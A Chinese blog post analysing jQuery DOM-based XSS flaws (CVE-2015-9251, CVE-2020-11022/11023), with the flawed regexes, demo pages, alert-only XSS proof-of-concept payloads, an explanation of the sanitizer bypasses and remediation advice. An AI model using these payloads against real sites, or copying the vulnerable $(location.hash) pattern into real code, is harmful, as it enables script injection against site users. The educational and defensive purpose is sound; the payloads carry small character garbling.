Web安全-JQuery框架XSS漏洞浅析

框架简介

jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。jQuery设计的目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用的功能代码,提供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。

据一项调查报告,在对 433000 个网站的分析中发现,77%的网站至少使用了一个具有已知安全漏洞的前端 JavaScript 库,而 jQuery 位列榜首,而且远远超过其他库。但事实上这些库有可用的不存在漏洞的最新版本,只是很少有开发人员会更新,一方面安全意识不够,另一方面更新需考虑兼容性问题。

漏洞检测

最简单粗暴的方法,直接使用火狐浏览器的插件:Retire.js,如下是 CSDN 网站主页存在的漏洞问题:
在这里插入图片描述

漏洞复现

漏洞简述

DOM型 XSS

在 JQuery 的诸多发行版本中,存在着 DOM-based XSS(跨站脚本攻击的一种) 漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 LOCATION.HASH 跨站漏洞。这也是最为被大众熟知的 jQuery 的一个漏洞。此外,1.12.0 之前的 jQuery UI 库也可以通过对话框函数的 closeText 参数进行 DOM-based XSS 攻击。

漏洞编号

CVE-2016-7103CVE-2015-9251CVE-2014-6071CVE-2012-6708CVE-2011-4969

影响版本

11.x系列版本等于或低于1.12的jQuery;
(22.x系列版本等于或低于2.2的jQuery。

漏洞分析

漏洞成因

jQuery 中过滤用户输入数据所使用的正则表达式存在缺陷,导致location.hash跨站脚本攻击。

jQuery 1.6.1版本

正则表达式如下:

quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,

该正则表达式缺陷引起的XSS攻击:
在这里插入图片描述jQuery1.7.2 版本

正则表达式如下:

quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,

该正则表达式存在的缺陷,容易引起DoM型XSS攻击:
在这里插入图片描述jQuery 1.11.3版本

正则表达式为:

rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,

该正则表达式引起的XSS漏洞:
在这里插入图片描述
总结起来,DOM-based XSS 漏洞在各个版本都可成功的原因在于 jquery 本身对于正则表达式都无法完善地过滤危险字符,但前提是源码使用了$(location.hash)。故触发条件较为苛刻,且只可触发 DOM 型 XSS 漏洞。

复现过程

演示程序

<!DOCTYPE html>
<html lang="zh">
<head>
    <title>Jquery XSS</title>
    <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.6.1/jquery.js"></script>
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> -->
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> -->
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> -->
    <script>
        $(function () {
            //$(location.hash);
			var e= location.hash.split('#')[1];
			$(e)
        })
    </script>
</head>

<body>
    <h1>JQuery with XSS Demo</h1>
    <li>
	  <a href="#<img src=/ οnerrοr=alert(1)>" target="_blank">Click here!</a>
	</li>
</body>
</html>

1、将上述 html 文件保存到本地 phpstudy 网站目录下:
在这里插入图片描述2、启动 phpstudy:
在这里插入图片描述
3、然后 IE 浏览器或者 Microsoft Edge 浏览器中访问 Demo 页面:
在这里插入图片描述4、点击网页链接,触发漏洞:
在这里插入图片描述

【注意】此漏洞场景不适用于 谷歌浏览器和 火狐浏览器,可能因为浏览器自身安全策略问题。但是 Microsoft Edge 浏览器的爸爸(微软)并不把它当作一个漏洞,于是乎……

修复建议

1、临时解决方案:

暂时隐藏 jQuery 版本信息,避免被攻击者识别出版本号,但不建议采取此办法;

2、正式解决方案:

建议将 jQuery 版本升级至 1.9.x 或以上版本 3.4.0,升级 jquery-ui 版本到 1.12.0 以上。不过升级有风险,因为版本兼容的问题,jQuery 官方推荐了 jQuery Migrate 库来解决 jQuery 升级问题。

3、代码层解决方案:

(1)过滤用户输入的内容

检查用户输入的内容中是否有非法内容。如<>(尖括号)、"(引号)、 '(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。

(2)严格控制输出

可以利用下面这些函数对出现xss漏洞的参数进行过滤

1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。
2、htmlentities() 函数,用于转义处理在页面上显示的文本。
3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。
4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。
5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。
6、intval() 函数用于处理数值型参数输出页面中。
7、自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。

新版漏洞

jQuery 官方在 2020年4月 发布了最新版本 3.5.0,主要修复了两个安全问题(漏洞编号 CVE-2020-11022、CVE-2020-11023),官方博客为:jQuery 3.5.0 Released!

据NVD描述:在大于或等于 1.2 且在 3.5.0 之前的 jQuery 版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给 jQuery 的 DOM 操作方法(即 html()、.append()等),从而导致 XSS 漏洞。

漏洞利用条件

  1. 系统使用 jQuery 的 html()、append() 或 $('<tag>') 等方法处理用户输入;
  2. 用户输入已经过“消毒”(sanitize)处理。

漏洞复现

对于此漏洞原作者搭建了在线环境,内置了三个 xss poc,点击 Append via .html() 按钮即可触发 XSS:
在这里插入图片描述点击触发漏洞:
在这里插入图片描述HTML 源码审计:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <script src="//road.zhiyuntongkj.com/jeecg-boot/bigscreen/template3/js/jquery-3.3.1.min.js"></script>
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
   <style><style /><img src=x οnerrοr=alert(1)> 
</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
   <img alt="<x" title="/><img src=x οnerrοr=alert(1)>">
</xmp>

<h2>PoC 3</h2>
<button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
   <option><style></option></select><img src=x οnerrοr=alert(1)></style>
</xmp>

<div id="div"></div>
</body>
</html>

分析下以上网页源码:

1、首先使用如下代码模拟了一个开发场景,即将页面的所有 div 元素替换为根据 ID 取到的 sanitizedHTML:

<script>
function test(n,jq){
   sanitizedHTML = document.getElementById('poc'+n).innerHTML;
   if(jq){
       $('#div').html(sanitizedHTML);
   }else{
       div.innerHTML=sanitizedHTML;
    }
}
</script>

2、虽然三个 poc 都使用了包含 onerror 事件的 img 标签,但其实它们是放在属性或 style 元素内部,因此会绕过 HTML 清理器。以 poc1 为例,根据此 id 取到的值如下:

<style><style /><img src=xοnerrοr=alert(1)>

点击之后,执行 XSS,此时审查 div 元素:
在这里插入图片描述发现我们提交的 poc 多了一个闭合标签</style>,变成了:

<style><style /></style><imgsrc=x οnerrοr=alert(1)>

</style>闭合了<style>标签,成功执行后面的<img>脚本,导致XSS。

漏洞原理

1、CVE-2020-11022

导致上述问题的关键是,在 html() 方法中,作为参数传递的 HTML 字符串将传递到 $.htmlPrefilter()方法:

rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace(rxhtmlTag, "<$1></$2>" );
}

在 jquery 3.x 版本之后使用的正则为:

rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r

这就使用到环境里的 poc2(仅适用于 jQuery3.x ),注意这里的 XSS payload 是作为属性出现,所以可以绕过消毒器规则:

<img alt="<x" title="/><img src=xοnerrοr=alert(1)>

该 poc 使用 html() 方法执行后发现变为:

<img alt="<x" title="/></x”><imgsrc=x οnerrοr=alert(1)>

该正则会将 x"识别为标签并新增</x”>闭合标签,从而达到 XSS 的效果:
在这里插入图片描述
2、CVE-2020-11023

针对上述漏洞原理,jQuery Team 进行了修复,修复手段为将$.htmlPrefilter()方法替换为标识函数,因此传递的HTML字符串现在不再经过htmlPrefilter函数处理,从而成功修复了漏洞。但仍有一些手段可以绕过,C VE-2020-11023 就是针对 CVE-2020-11022 的绕过。

绕过使用的是另一个特性,某些特殊的标签在经过 html() 方法处理时,会由于 HTML 的特性或浏览器的 bug 而使得这些标签被移除。

option 就是这些特殊标签之一,我们知道 option 元素通过位于 select 元素内部来构造一个选择列表,但如果没有 select 元素,option 会被移除。为了解决这个 bug,如果传入参数的第一个元素为 option,jQuery 会新增<select multiple='multiple’></select>。所以我们提交 poc3:

<option><style></option></select><imgsrc=x οnerrοr=alert(123456)></style>

经过处理会变为:

<select multiple='multiple'><option><style></option></select><imgsrc=x οnerrοr=alert(123456)></style></select>

根据HTML从前往后解析的顺序,会先解析一个<select>标签,且<select>不允许将大部分 HTML 标签包裹其中,导致<style>被忽略,而后识别<img>标签从而触发 XSS。

此漏洞在最新的3.5.0中也被修复,对于特殊的标签进行了处理。

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

修复方案

(1)更新 jQuery 到 3.5.0 或更高版本:

https://code.jquery.com/jquery-3.5.0.js

(2)使用XSS清理工具清理用户输入的HTML,官方推荐:

https://github.com/cure53/DOMPurify

漏洞验证

在渗透测试过程中,使用上面提到的火狐浏览器的插件:Retire.js检测到目标站点使用的 JQuery 框架存在 CVE-2020-11022、CVE-2020-11023 漏洞的话,可以将对于的 JS 文件替换上述漏洞演示环境源码中的 js 路径(此处以 慕课网官网首页 为例):
在这里插入图片描述存在漏洞的 js 文件路径如下:
在这里插入图片描述
将上面检测漏洞的网页源码保存到本地 html 文件,然后替换 JS 文件路径(即检测目标):
在这里插入图片描述同样放在 phpstudy 网站路径下后在浏览器中访问:
在这里插入图片描述点击触发 XSS 漏洞,证明存在该漏洞:

在这里插入图片描述
最后提一句,JQuery框架的 DOM XSS 漏洞利用条件还是比较苛刻的,只有使用具体的 jquery 的函数才能触发。也就是说只有当网站调用了存在漏洞的 jquery 函数才有机会利用(需要找到调用的函数在哪个接口),但是很多时候都是只用的 ajax。所以嘛,该漏洞的风险定级,自己看着办吧……

  • 10
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值